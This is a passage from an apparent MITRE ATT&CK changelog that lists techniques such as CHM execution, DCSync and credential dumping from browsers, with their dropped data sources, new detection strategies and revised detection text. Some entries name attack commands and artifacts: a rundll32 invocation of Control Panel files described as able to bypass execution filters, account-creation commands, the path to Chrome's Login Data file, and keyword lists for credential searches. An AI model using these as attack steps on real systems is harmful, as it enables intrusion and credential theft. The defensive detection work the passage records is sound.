x_mitre_detection	Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.

[T1218.001] System Binary Proxy Execution: Compiled HTML File

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0342: Detection of Suspicious Compiled HTML File Execution via hh.exe

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:56.001000+00:00	2025-10-24 17:49:11.609000+00:00
x_mitre_detection	Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques. Monitor presence and use of CHM files, especially if they are not typically used within an environment.

[T1542.002] Pre-OS Boot: Component Firmware

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)
DS0009: Process (OS API Execution)
DS0027: Driver (Driver Metadata)

New Detections (Detection Strategies -> Technique):

DET0323: Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Firmware: Firmware Modification', 'Process: OS API Execution', 'Driver: Driver Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:43.347000+00:00	2025-10-24 17:48:59.147000+00:00
x_mitre_detection	Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms. Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.

[T1559.001] Inter-Process Communication: Component Object Model

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)

New Detections (Detection Strategies -> Technique):

DET0224: Detect Abuse of Component Object Model (T1559.001)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Script: Script Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:14.161000+00:00	2025-10-24 17:48:35.814000+00:00
x_mitre_detection	Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

[T1586] Compromise Accounts

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0021: Persona (Social Media)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0876: Detection of Compromise Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Persona: Social Media', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:07:30.871000+00:00	2025-10-24 17:49:02.015000+00:00
x_mitre_detection	Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

[T1195.003] Supply Chain Compromise: Compromise Hardware Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0368: Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Sensor Health: Host Status']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:07:50.636000+00:00	2025-10-24 17:48:39.693000+00:00
x_mitre_detection	Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.

[T1554] Compromise Host Software Binary

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)
DS0022: File (File Deletion)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0336: Detect Compromise of Host Software Binaries

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Deletion', 'File: File Modification', 'File: File Metadata', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:52.206000+00:00	2025-10-24 17:49:07.572000+00:00
x_mitre_detection	Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.

[T1584] Compromise Infrastructure

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)
DS0038: Domain Name (Active DNS)
DS0038: Domain Name (Domain Registration)
DS0038: Domain Name (Passive DNS)

New Detections (Detection Strategies -> Technique):

DET0885: Detection of Compromise Infrastructure

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content', 'Domain Name: Domain Registration', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Internet Scan: Response Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:45.612000+00:00	2025-10-24 17:49:01.181000+00:00
x_mitre_detection	Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1195.002] Supply Chain Compromise: Compromise Software Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0309: Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:08:31.739000+00:00	2025-10-24 17:49:18.341000+00:00
x_mitre_detection	Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.

[T1213.001] Data from Information Repositories: Confluence

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0358: Programmatic and Excessive Access to Confluence Documentation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:09:18.055000+00:00	2025-10-24 17:48:59.776000+00:00
x_mitre_detection	Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.

[T1552.007] Unsecured Credentials: Container API

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0198: Detect Abuse of Container APIs for Credential Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:09:34.621000+00:00	2025-10-24 17:49:38.351000+00:00
x_mitre_detection	Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs. It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).

[T1609] Container Administration Command

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0065: Detection Strategy for Container Administration Command Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:44.024000+00:00	2025-10-24 17:48:59.945000+00:00
x_mitre_detection	Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster.

[T1053.007] Scheduled Task/Job: Container Orchestration Job

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Creation)
DS0022: File (File Creation)
DS0032: Container (Container Creation)

New Detections (Detection Strategies -> Technique):

DET0206: Detection of Malicious Kubernetes CronJob Scheduling

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Container: Container Creation', 'Scheduled Job: Scheduled Job Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:07.487000+00:00	2025-10-24 17:48:25.363000+00:00
x_mitre_detection	Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments.

[T1613] Container and Resource Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0014: Pod (Pod Enumeration)
DS0032: Container (Container Enumeration)

New Detections (Detection Strategies -> Technique):

DET0490: Detection Strategy for Container and Resource Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Pod: Pod Enumeration', 'Container: Container Enumeration']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:10:13.179000+00:00	2025-10-24 17:48:20.661000+00:00
x_mitre_detection	Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level. Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications.

[T1218.002] System Binary Proxy Execution: Control Panel

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0194: Detection of Malicious Control Panel Item Execution via control.exe or Rundll32

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:37.731000+00:00	2025-10-24 17:48:45.979000+00:00
x_mitre_detection	Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the `Control_RunDLL` and `ControlRunDLLAsUser` API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: `control.exe file.cpl`) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: `rundll32.exe shell32.dll,Control_RunDLL file.cpl`). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace` and `HKEY_CLASSES_ROOT\CLSID\{GUID}`. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the `CPLs` and `Extended Properties` Registry keys of `HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel`. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( `WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);`) or from a command line (`control.exe /name {Canonical_Name}`).(Citation: Microsoft Implementing CPL) * Some Control Panel items are extensible via Shell extensions registered in `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers` where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL) Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)

[T1136] Create Account

Current version: 2.6

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0583: Detection Strategy for T1136 - Create Account across platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'User Account: User Account Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:14.796000+00:00	2025-10-24 17:49:30.136000+00:00
x_mitre_detection	Monitor for processes and command-line parameters associated with account creation, such as `net user` or `useradd`. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.

[T1578.002] Modify Cloud Compute Infrastructure: Create Cloud Instance

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0030: Instance (Instance Creation)
DS0030: Instance (Instance Metadata)

New Detections (Detection Strategies -> Technique):

DET0449: Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Creation', 'Instance: Instance Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:10:54.239000+00:00	2025-10-24 17:49:24.804000+00:00
x_mitre_detection	The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity. In AWS, CloudTrail logs capture the creation of an instance in the `RunInstances` event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of `gcloud compute instances create` to create a VM.(Citation: Cloud Audit Logs)

[T1134.002] Access Token Manipulation: Create Process with Token

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0456: Behavior-chain detection for T1134.002 Create Process with Token (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:17.537000+00:00	2025-10-24 17:48:53.370000+00:00
x_mitre_detection	If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the `runas` command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior. Analysts can also monitor for use of Windows APIs such as `CreateProcessWithTokenW` and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

[T1578.001] Modify Cloud Compute Infrastructure: Create Snapshot

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0020: Snapshot (Snapshot Creation)
DS0020: Snapshot (Snapshot Metadata)

New Detections (Detection Strategies -> Technique):

DET0423: Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:11:14.755000+00:00	2025-10-24 17:49:34.416000+00:00
x_mitre_detection	The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API). In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the `gcloud compute instances create` command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the `"sourceSnapshot":` parameter pointed to `"global/snapshots/[BOOT_SNAPSHOT_NAME]`.(Citation: GCP - Creating and Starting a VM)

[T1543] Create or Modify System Process

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Creation)
DS0019: Service (Service Modification)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)
DS0032: Container (Container Creation)

New Detections (Detection Strategies -> Technique):

DET0571: Detection of System Process Creation or Modification Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Service: Service Creation', 'Container: Container Creation', 'Driver: Driver Load', 'Service: Service Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:11:29.155000+00:00	2025-10-24 17:48:24.896000+00:00
x_mitre_detection	Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Monitor for changes to files associated with system-level processes.

[T1056.004] Input Capture: Credential API Hooking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Metadata)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0139: Detection of Credential Harvesting via API Hooking

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Metadata', 'Module: Module Load', 'File: File Creation', 'File: File Modification', 'Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:21.920000+00:00	2025-10-24 17:49:37.119000+00:00
x_mitre_detection	Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity. Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)

[T1110.004] Brute Force: Credential Stuffing

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0460: Credential Stuffing Detection via Reused Breached Credentials Across Services

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:59.077000+00:00	2025-10-24 17:49:14.923000+00:00
x_mitre_detection	Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.

[T1589.001] Gather Victim Identity Information: Credentials

Current version: 1.2

New Detections (Detection Strategies -> Technique):

DET0813: Detection of Credentials

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:11:53.342000+00:00	2025-10-24 17:49:18.246000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1552.001] Unsecured Credentials: Credentials In Files

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0307: Detect Access to Unsecured Credential Files Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:47.301000+00:00	2025-10-24 17:49:03+00:00
x_mitre_detection	While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.

[T1555] Credentials from Password Stores

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0025: Cloud Service (Cloud Service Enumeration)

New Detections (Detection Strategies -> Technique):

DET0430: Detect Credentials Access from Password Stores

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Command: Command Execution', 'Process: Process Access', 'Cloud Service: Cloud Service Enumeration', 'Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:12:11.343000+00:00	2025-10-24 17:48:41.974000+00:00
x_mitre_detection	Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.

[T1555.003] Credentials from Password Stores: Credentials from Web Browsers

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0037: Detect Suspicious Access to Browser Credential Stores

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Access', 'File: File Access', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:12:28.087000+00:00	2025-10-24 17:48:49.577000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: `AppData\Local\Google\Chrome\User Data\Default\Login Data`. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Don Le, Stifel Financial

[T1552.002] Unsecured Credentials: Credentials in Registry

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Access)

New Detections (Detection Strategies -> Technique):

DET0250: Detect Credential Discovery via Windows Registry Enumeration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:20.405000+00:00	2025-10-24 17:48:37.378000+00:00
x_mitre_detection	Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.

[T1053.003] Scheduled Task/Job: Cron

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0290: Cross-Platform Detection of Cron Job Abuse for Persistence and Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Creation', 'Scheduled Job: Scheduled Job Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:16.429000+00:00	2025-10-24 17:48:33.856000+00:00
x_mitre_detection	Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1003.006] OS Credential Dumping: DCSync

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0026: Active Directory (Active Directory Object Access)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0594: Detection of Unauthorized DCSync Operations via Replication API Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:13:04.812000+00:00	2025-10-24 17:49:36.308000+00:00
x_mitre_detection	Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)

[T1557.003] Adversary-in-the-Middle: DHCP Spoofing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

